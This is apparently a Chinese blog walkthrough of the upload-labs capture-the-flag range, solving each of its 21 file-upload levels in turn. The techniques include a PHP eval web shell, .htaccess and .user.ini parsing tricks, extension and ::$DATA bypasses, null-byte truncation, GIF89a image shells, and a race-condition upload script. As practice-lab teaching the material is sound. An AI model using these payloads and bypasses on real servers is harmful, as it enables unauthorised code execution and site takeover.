文件上传漏洞靶场通关教程(全)

更多内容请查看borgeousのblog

环境搭建

我使用的是win7虚拟机+phpEnv搭建靶场环境,我们只需要将upload-labs的源码下载下来,并拖入到虚拟机对应的文件中,如下所示

image-20240717232925566

并在网络配置下写入如下配置

image-20240717233010756

根目录选中源码目录,点击保存,最后在自己本机上的host文件中加上xx.xx.xx.xx(虚拟机IP) upload.local,如下所示

image-20240717233230725

这样我们的本机就能成功的进行域名解析,我们就可以通过物理机上的浏览器进行访问虚拟机的网站

image-20240717233327852

Pass-01

我们先上传一个php马,通过bp进行抓包,我们在脚本中写入<?php @eval($_POST['attack']);?>,保存为attack.php,进行上传

image-20240717233819969

发现bp并没有抓到包,所以可以判定是前端验证,我们打开开发者工具,我们可以发现js代码

image-20240717234036734

我们直接禁用js,重新上传,我们可以发现成功上传,直接使用蚁剑连接,图像地址为http://upload.local/upload/attack.php,连接

image-20240717234509796

Pass-02

同样的,先上传attack.php,看看是什么限制,这一看就是后端检测了,我们用bp抓包

e66f85742221e33008034716b6ec2c0e

将Content-Type改成png形式,发现上传成功

最后蚁剑连接即可

Pass-03

同样上传attack.php,用bp抓包重发,发现这里又有前端验证,我们这里先禁用js,再进行上传attack.php,但是好像不管用了,于是我F12去看了看源码,发现并不是前端验证,所以我们尝试着将attack.php改成attack.php.png,再试着进行上传

image-20240718084221462

发现可以成功上传,我们用bp拦截,再进行测试,我们发现他给我们的提示信息好像和以前不一样了(这里一定一定要细心)

image-20240718084604602

这里是仅仅不允许上传这几个特定的后缀文件,而没说不能上传其他后缀的木马文件,比如phtml、php3、php5等等,我们这里试着改为phtml,看看能否上传成功

image-20240718085029608

成功上传,我们再用蚁剑连接即可,这里还要注意一点,上传后服务器会给我们重命名,我们只需要在网页中新建标签页打开图片就能找到正确路径

image-20240718085822961

Pass-04

方法一 上传.htaccess

同样先上传一个任意木马文件,然后抓包进行测试,经过我们的测试,这里并没有过滤.htaccess文件,我们可以先上传一个.htaccess文件,让服务器可以将png文件解析为我们的php文件执行,.htaccess文件内容如下

SetHandler application/x-httpd-php

image-20240718092058840

接着上传一句话木马,如下所示

image-20240718092243826

蚁剑连接,这里要注意的是将phpEnv的中间件改为Apache,并修改如下地方

image-20240718094221477

方法二 代码审计

我们找到源代码

image-20240718095237070

通过审计代码我们可以发现当我们上传1.php. .的时候可以绕过限制,如下所示

image-20240718095522453

我们用蚁剑进行连接,成功连接上

image-20240718095635544

Pass-05

这里源代码没变,我们可以用第四关的方法二进行上传,这里不再加以赘述

image-20240718100209596

这里还有一种方式,就是上传.user.ini文件,.user.ini的意思是所有的php文件自动包含某个文件,其相当于一个用户自定义的php.ini文件,php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞,想要引发解析漏洞的三个条件为

服务器脚本语言为PHP  
服务器使用CGI/FastCGI模式  
上传目录下要有可执行的php文件

我们将环境切换回nginx,在.user.ini中写入auto_prepend_file=attack.png,即把attack.png的东西全部包含在里面,我们上传两个文件,如下图所示

image-20240718101443207

image-20240718101535572

此时我们去看看readme.php下有没有包含我们写的木马

image-20240718103007897

ok,本关成功上传

Pass-06

查看源码,基本上所有的后缀名都给禁用了,但是没有大小写转换函数,所以我们可以使用大小写转换来进行绕过

image-20240718102515002

image-20240718102552456

蚁剑连接即可,如下所示

image-20240718102738605

Pass-07

查看源码,没有使用删除空格函数trim,所以我们可以使用空格绕过,即在文件末尾上传一个空格进入绕过

image-20240718105451661

上传成功,访问/upload/202407181054425865.php这个路径即可getshell

image-20240718105551785

Pass-08

这一关没有用$file_name = deldot($file_name);//删除文件名末尾的点函数来删除后面的点,所以我们考虑使用点绕过

image-20240718110058798

成功绕过,地址为/upload/attack.php

image-20240718110619115

Pass-09

这一关删除了函数$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA,我们可以用字符串::$DATA进行绕过

补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。

所以我们可以尝试进行文件流转化,成功上传

image-20240718111350817

路径如下/upload/202407181113425867.php,蚁剑访问

image-20240718111705105

Pass-10

这一关使用. .进行绕过,这里我们补充一个知识,也能解释前面为什么使用. . 绕过可以成功

补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

所以这就是为什么中间要加一个空格,attack.php. .经过过滤后会变成attack.php.,可以成功绕过对文件后缀名的限制

image-20240718123958137

路径为/upload/attack.php.

image-20240718124327772

成功连接,getshell

Pass-11

经过抓包测试,发现使用双写绕过可以实现绕过

image-20240718125112201

image-20240718125130862

Pass-12

这题要用到的知识点是00截断,主要针对的是白名单检测,在php<5.3.4的版本中,存储文件时处理文件名的函数认为0x00是终止符,于是在函数读到0x00时,会认为文件已经结束

例如:我们上传 1.php%00.jpg 时,首先后缀名是合法的jpg格式,可以绕过前端的检测。上传到后端后,后端判断文件名后缀的函数会认为其是一个.jpg格式的文件,可以躲过白名单检测。但是在保存文件时,保存文件时处理文件名的函数在遇到%00字符认为这是终止符,于是丢弃后面的 .jpg,于是我们上传的 1.php%00.jpg 文件最终会被写入 1.php 文件中并存储在服务端。

由于我的靶场环境版本高于5.3.4,所以这里不演示操作成功界面,只演示操作步骤,修改下面两个地方即可(针对GET型00截断,GET说的是其save_path是get传参的

image-20240718133757313

Pass-13

这一关仍然是00截断,但是是POST传参,我们进行如下操作

image-20240718134235213

这里并不是没进行00截断,而是提前对%00进行了url解码,因为post不会像get那样提前对%00进行解码

image-20240718134429973

Pass-14

第十四关让我们上传图片马到服务器,也就是说肯定会检测是不是真的为图片,而不是仅仅检测后缀名,这个时候我们就需要用到GIF89a进行伪造图片,如下所示

image-20240718134922317

路径为/upload/8420240718134909.gif,我们采用文件包含的模式将这个gif文件包含进代码中,以当作php文件进行执行

所以我们的蚁剑连接路径为http://upload.local/include.php?file=upload/8420240718134909.gif

image-20240718135252172

连接成功

Pass-15

我们按照同样的方式进行操作

image-20240718135610968

image-20240718135649657

Pass-16

继续上述操作

image-20240718135949298

路径为/upload/4920240718135933.gif

image-20240718140036263

成功

Pass-17

继续使用刚刚的方法

image-20240718140558848

发现不行了,猜测可能是检测了Content-type,我们试着把Content-Type改了,如下所示

image-20240718141109740

发现还是不太行,后来看了别人的解法才知道是二次渲染,我们拿大佬的gif进行上传,链接放这里了:文件上传之二次渲染(专用图).zip - 蓝奏云 (lanzoui.com)

image-20240718142557257

这张图片的特点就是我们这里看是乱码,但是经过上传到服务器解析后得到的是一个可以打开的gif文件,对应的地址为/upload/31946.gif

Pass-18

这一关的提示就是让我们去代码审计,那我们先去审计代码

image-20240718143541759

代码告诉我们我们上传的文件首先会进行白名单检测,如果属于gif、png、jpg中的一种,服务器就会对其重命名,否则就会删除,我们这个时候就可以使用条件竞争的方式,让服务器一直在上传和删除,最后总能上传成功

我们将拦截到的包送入爆破模式

image-20240718144323518

我们设置无限空发payload

image-20240718144447454

我们把线程数调大一点

image-20240718144814430

同时我们写一个脚本来判断什么时候成功上传了

import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/attack.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

然后我们开始条件竞争攻击,最后发现我们的目录下有attack.php,最后用蚁剑连接即可

Pass-19

同样是条件竞争,只不过是图片马形式的条件竞争,我们按照第18关的方法一样进行设置即可,同时记得给数据加上GIF89a头,同时使用文件包含的方式进行访问,这些在前面已经讲过,这里不再赘述

Pass-20

这一题我们首先查看源码,源码如下所示

image-20240718201643744

显然这里既有白名单验证,又有黑名单验证,黑名单基本把所有后缀名给过滤了,但是有一个函数值得注意一下,就是move_uploaded_file函数,就是会忽略末尾的/.,使得我们可以用php/.绕过对php的限制,因为它并不是php后缀,所以我们可以用以下的手法来进行绕过

image-20240718210651956

路径为http://upload.local/upload/upload-19.php/.

image-20240718210956126

Pass-21

首先我们对源代码进行分析,源代码如下

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

我们来进行代码审计,拉一遍流程,首先使用empty函数看看upload_file是不是为空,不为空检查MIME头是不是符合,我们这里将MIME头修改一下

image-20240718222003737

之后会对文件名进行检查,如果save_name为空,则把$_FILES['upload_file']['name']赋值给$file,反之则把$_POST['save_name']赋值给$file

接下来使用is_array判断$file是不是数组,如果不为数组,则把其转为数组

explode(separator,string,limit) 		 //函数把字符串打散为数组。
separator 	必需。规定在哪里分割字符串。
string 	必需。要分割的字符串。
limit 	可选。规定所返回的数组元素的数目。

这里以.为分割进行分数组,同时把所有的字符转成小写,以这里的为例,就会有array[0]=upload-20,array[1]=jpg,然后再使用end()函数,end函数将指针指向最后一个元素并输出,即把jpg赋值给$ext,即$ext=jpg,然后去判断后缀名是不是合法的,是不是在白名单内的

count()  		 //计算数组中的单元数目,或对象中的属性个数
end() 			 //函数将内部指针指向数组中的最后一个元素,并输出。    
reset()    		 //输出数组中的当前元素和下一个元素的值,然后把数组的内部指针重置到数组中的第一个元素:

最后将$file的第一个元素和$ext拼接起完整的路径

解题思路

我们肯定是在数组上做文章,我们肯定不能让它使用explode函数对我们进行分割,如果让其进行分割的话,我们特定不能传进去.php后缀,所以我们就得自己把save_name整成数组形式,也就是分多块进行传输,我们不妨这样设计

save_name[0]=attack.php
save_name[2]=jpg

这样我们的$ext=save_name[1]=jpg,成功绕过后缀检测的代码段

由于reset()函数输出数组第一个,所以

$file_name = reset($file) . '.' . $file[count($file) - 1];
reset($file) = attack.php
由于count($file) = 2 //由于1为空,所以返回2,count只计算属性数
所以$file[count($file)-1]=$file[1]=null
所以$file_name = attack.php
因此成功绕过

image-20240718225558437

我们用蚁剑连接即可

image-20240718225647910

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值